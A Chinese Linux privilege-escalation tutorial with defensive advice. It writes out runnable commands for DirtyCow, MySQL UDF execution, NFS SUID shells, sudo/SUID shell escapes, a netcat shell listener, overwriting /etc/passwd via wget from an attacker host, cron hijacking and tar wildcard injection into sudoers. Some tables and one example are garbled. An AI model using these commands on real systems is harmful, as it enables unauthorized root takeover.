文章总结: 该文档详述Linux权限提升实战指南,核心覆盖信息收集与10类提权手法。内容详解内核漏洞、SUID滥用、SUDO配置错误、定时任务劫持等技术原理与操作命令,并提供对应防御建议。文章结构清晰,包含大量实操案例与自动化脚本推荐,强调从普通用户到root的垂直提权路径,为渗透测试与红队攻防提供实用参考,具备高可操作性与技术深度。 综合评分: 90 文章分类: 渗透测试,红队,内网渗透,实战经验
Linux权限提升实战指南
原创
guowei guowei
网络安全直通车
2026年3月16日 15:38 北京
Linux 权限提升实战指南,聚焦从普通用户到 root 用户的垂直提权,核心涵盖信息收集(系统、服务、文件权限等)、10 类核心提权手法(内核漏洞、SUID/GUID 配置错误、滥用 SUDO、定时任务、通配符注入等),详细提供了每类手法的原理、操作命令、实战案例及防御建议,同时配套自动化信息收集脚本(LinEnum、Unix-privesc-check 等),是渗透测试与红队攻防中 Linux 提权的实用参考资料。
提权前置:信息收集(关键前提)
信息收集是提权核心,需获取系统、服务、权限等全方位数据,分为手动收集与自动收集两类:
(一)手动收集核心命令与目标
表格
| 收集类别 | 核心命令 | 收集目标 | |
| — | — | — | — |
| 系统信息 | cat /etc/*-release 、uname -a、cat /proc/version | 发行版、内核版本、架构(32/64 位) | |
| 环境变量 | echo $PATH 、env、cat ~/.bashrc | PATH 配置、隐藏密码 / API 密钥 | |
| 服务进程 | ps aux | grep root、netstat -anlp | root 运行的服务、开放端口、内部服务 |
| 文件权限 | find / -perm -u=s -type f 2>/dev/null (SUID)、find / -writable -type d 2>/dev/null(可写目录) | SUID/GUID 文件、世界可写文件 / 目录 | |
| 敏感文件 | cat /etc/passwd 、cat ~/.ssh/id_rsa、cat /var/log/auth.log | 用户列表、SSH 密钥、日志凭证 | |
| 网络信息 | ifconfig -a 、route、iptables -L | 网卡配置、路由、防火墙规则 | |
| 定时任务 | crontab -l 、ls -al /etc/cron* | root 执行的定时脚本、可写性 | |
(二)自动收集工具
表格
| 工具名称 | 下载链接 | 核心功能 | | — | — | — | | LinEnum | https://github.com/rebootuser/LinEnum | 全方位系统枚举,支持自定义关键词、生成报告 | | Unix-privesc-check | http://pentestmonkey.net/tools/audit/unix-privesc-check | 自动化权限审计,输出漏洞警告 | | Linprivchecker.py | https://github.com/reider-roque/linpostexp/blob/master/linprivchecker.py | 后渗透枚举,支持扩展测试 |
三、10 类核心提权手法详解
(一)内核漏洞提权
- 原理:利用 Linux 内核未修复漏洞,执行 EXP 获取 root 权限。
- 关键前提:① 内核版本易受攻击;② 有匹配的 EXP;③ 可上传并执行 EXP。
- 典型案例:DirtyCow(CVE-2016-5195,内核≤3.19.0-73.8):
- 下载 EXP:https://www.exploit-db.com/exploits/40839/;
- 编译:
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil; - 执行:
./dcow rash(创建 root 权限用户 rash); - 切换用户:
su rash,获取 root shell。
- 注意:内核 EXP 可能导致系统崩溃,建议作为最后手段。
(二)利用以 root 权限运行的服务
- 原理:服务以 root 身份运行,且存在漏洞(如命令执行、文件写入),通过服务执行 root 命令。
- 典型案例:MySQL UDF 动态库漏洞:
- 确认 MySQL 以 root 运行:
ps aux | grep mysql; - 上传 UDF 动态库(如 raptor_udf2.so);
- 执行命令:
mysql> create function do_system returns integer soname 'raptor_udf2.so';,通过select do_system('id>/tmp/out')执行 root 命令。
- 防御:非必要不使用 root 运行服务(Web / 数据库 / 文件服务等)。
(三)NFS 权限弱配置提权
- 核心条件:NFS 共享目录开启
no_root_squash(远程 root 用户保留 root 权限),且配置rw(读写权限)。 - 操作步骤:
- 查看共享配置:
cat /etc/exports或showmount -e [目标IP]; - 攻击机挂载共享目录:
mount -o rw,vers=2 [目标IP]:/tmp /tmp/test; - 生成 SUID 脚本:
echo 'int main() { setuid(0); system("/bin/bash"); return 0; }' > /tmp/test/suid-shell.c; - 编译赋权:
gcc /tmp/test/suid-shell.c -o /tmp/test/suid-shell,chmod +s /tmp/test/suid-shell; - 目标机执行:
/tmp/suid-shell,获取 root 权限。
(四)SUID 和 GUID 配置错误提权
-
原理:SUID 文件执行时继承文件所有者权限(若所有者为 root,普通用户执行即获 root 权限)。
-
关键命令:
-
查找 SUID 文件:
find / -perm -u=s -type f 2>/dev/null; -
查找 GUID 文件:
find / -perm -g=s -type f 2>/dev/null。 -
常用 SUID 提权文件及命令:| SUID 文件 | 提权命令 | 效果 ||———-|———-|——|| nmap(2.02-5.21) |
nmap --interactive→!sh| 进入 root shell || vim |sudo vim -c '!sh'| 直接获取 root shell || find |find test -exec netcat -lvp 5555 -e /bin/sh \;| 反弹 root shell || less/more |less /etc/passwd→!/bin/sh| 切换 root shell || cp/mv | 覆盖/etc/passwd,添加 root 用户 | 新建 root 权限用户 |
(五)滥用 SUDO 提权
- 原理:普通用户被授权通过
sudo执行 root 命令,利用部分命令的特殊功能提权。 - 关键步骤:
- 查看授权命令:
sudo -l(列出可执行的 root 命令); - 利用授权命令提权(部分案例):| 授权命令 | 提权命令 | 效果 ||———-|———-|——|| find |
sudo find /etc/passwd -exec /bin/sh \;| 执行 root shell || vim |sudo vim -c '!sh'| 直接获取 root shell || nmap |echo "os.execute('/bin/sh')" > /tmp/shell.nse && sudo nmap --script=/tmp/shell.nse| 执行脚本提权 || wget |sudo wget http://[攻击机IP]/passwd -O /etc/passwd| 覆盖密码文件,添加 root 用户 |
(六)利用 “.” 路径配置错误
- 原理:PATH 环境变量中包含 “.”(当前目录),且位于 PATH 开头,系统优先执行当前目录下的脚本(而非系统命令)。
- 攻击流程:
- 确认 PATH 配置:
echo $PATH(含 “.” 且在开头); - 伪造系统命令:在当前目录创建名为
ls的恶意脚本,内容为echo "os.execute('/bin/sh')"; - 赋权执行:
chmod +x ls; - 诱导 root 用户进入该目录执行
ls,触发恶意脚本,获取 root 权限。
(七)利用定时任务(Cron jobs)
- 原理:Cron 以 root 身份定期执行脚本,若脚本可被普通用户修改,可篡改脚本植入恶意代码。
- 信息收集:
crontab -l、ls -al /etc/cron*、cat /etc/crontab。 - 攻击步骤:
- 查找可写的 Cron 脚本:
find / -perm -2 -type f 2>/dev/null | grep cron; - 篡改脚本:在脚本中添加
chown root:root /tmp/rootme; chmod u+s /tmp/rootme;(生成 SUID 文件); - 生成提权程序:
gcc -o /tmp/rootme rootme.c(rootme.c 含setuid(0); execl("/bin/sh","sh",0);); - 等待 Cron 执行脚本后,运行
/tmp/rootme获取 root 权限。
- 辅助工具:pspy(监控 Cron 进程,下载链接:https://github.com/DominicBreuker/pspy)。
(八)通配符注入提权
- 原理:root 执行的命令含通配符(如
*),攻击者通过创建特殊命名文件,将恶意参数注入命令。 - 典型案例(tar 命令):
- 目标 Cron 脚本:
tar cf /var/backups/backup.tar *(root 定期执行); - 注入检查点参数:
touch -- --checkpoint=1(归档 1 个文件后触发检查点); - 创建恶意脚本:
echo 'echo "my-user ALL=(root) NOPASSWD: ALL" >> /etc/sudoers' > demo.sh,chmod +x demo.sh; - 注入执行动作:
touch -- "--checkpoint-action=exec=sh demo.sh"; - Cron 执行后,
sudo su直接获取 root 权限。
- 其他可利用命令:chown(
--reference参数)、rsync(-e参数)。
(九)历史漏洞提权
-
原理:利用 Linux 系统或软件的公开历史漏洞(非内核漏洞),通过 EXP 获取权限。
-
资源渠道:
-
漏洞库:https://github.com/lucyoa/kernel-exploits、exploit-db;
-
编译好的 EXP:https://github.com/bwbwbwbw/linux-exploit-binaries;
-
MSF 模块:直接搜索对应漏洞模块。
(十)其他补充提权场景
- 未授权访问:无需认证即可访问敏感服务 / 文件,辅助获取凭证或脚本;
- 中间件安全:Web 中间件(Tomcat、Nginx)漏洞,如文件写入、命令执行,间接提权。
四、防御建议
- 系统层面:定期更新内核、打补丁,关闭无用服务;
- 权限配置:① 禁用
no_root_squash,配置 NFS 为root_squash;② 严格控制 SUID/GUID 文件,删除不必要的 SUID 权限; - 服务层面:非必要不使用 root 运行服务,降低服务运行权限;
- 脚本与定时任务:限制 Cron 脚本的可写权限,避免使用通配符;
- 环境变量:PATH 中移除 “.”,避免路径配置错误。
4. 关键问题
问题 1:Linux 提权中,SUID 文件提权的核心原理是什么?请列举 3 个常用的可提权 SUID 文件及对应的实操命令。
答案:① 核心原理:SUID(设置用户 ID)是 Linux 文件权限的一种,当文件设置 SUID 位后,普通用户执行该文件时,会临时继承文件所有者的权限;若文件所有者为 root,普通用户执行即可获得 root 级权限,进而实现提权。② 3 个常用 SUID 文件及命令:
- nmap(版本 2.02-5.21):
nmap --interactive进入交互模式,输入!sh直接切换为 root shell; - find:先创建临时文件
touch test,执行find test -exec /bin/sh \;,利用 find 的执行权限触发 root shell; - vim:若被授权 sudo 执行 vim,输入
sudo vim -c '!sh',直接弹出 root shell。
问题 2:利用定时任务(Cron jobs)提权的关键前提是什么?如何通过篡改 Cron 脚本实现 root 权限获取?
答案:① 关键前提:一是 Cron 脚本以 root 身份定期执行;二是该脚本对普通用户具有可写权限(如世界可写rw-rw-rw-)。② 提权步骤:
- 信息收集:通过
crontab -l、ls -al /etc/cron*查找 root 执行的定时脚本,用ls -la [脚本路径]确认可写性; - 生成提权程序:在
/tmp目录创建 C 文件rootme.c,内容为int main(void) { setgid(0); setuid(0); execl("/bin/sh","sh",0); },编译为可执行文件:gcc rootme.c -o rootme; - 篡改 Cron 脚本:在可写的 Cron 脚本中添加
chown root:root /tmp/rootme; chmod u+s /tmp/rootme;(将提权程序设置为 root 所有的 SUID 文件); - 等待执行:Cron 按定时周期执行脚本后,
/tmp/rootme成为 SUID 文件,执行./rootme即可获取 root shell。
问题 3:NFS 权限弱配置提权的核心条件是什么?请详细描述从发现漏洞到获取 root 权限的完整流程。
答案:① 核心条件:NFS 服务器的共享目录配置满足两个要求 —— 一是开启no_root_squash(远程 root 用户连接时保留 root 权限,而非映射为 nfsnobody);二是设置rw(远程用户拥有读写权限)。② 完整流程:
- 漏洞发现:攻击机执行
showmount -e [NFS服务器IP],查看共享目录及配置,确认存在no_root_squash和rw参数; - 挂载共享目录:攻击机创建本地目录
mkdir /tmp/test,执行mount -o rw,vers=2 [NFS服务器IP]:/tmp /tmp/test(vers=2 指定 NFS 版本,避免兼容性问题); - 生成恶意 SUID 文件:在挂载目录下创建 C 文件
suid-shell.c,内容为#include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> int main() { setuid(0); system("/bin/bash"); return 0; }; - 编译与赋权:攻击机执行
gcc /tmp/test/suid-shell.c -o /tmp/test/suid-shell,再执行chmod +s /tmp/test/suid-shell(设置 SUID 位,继承 root 权限); - 目标机提权:登录 NFS 服务器的普通用户,进入
/tmp目录,执行./suid-shell,此时程序以 root 权限运行,直接获取 root shell。
请在微信客户端打开
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:网络安全直通车 guowei guowei《Linux权限提升实战指南》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论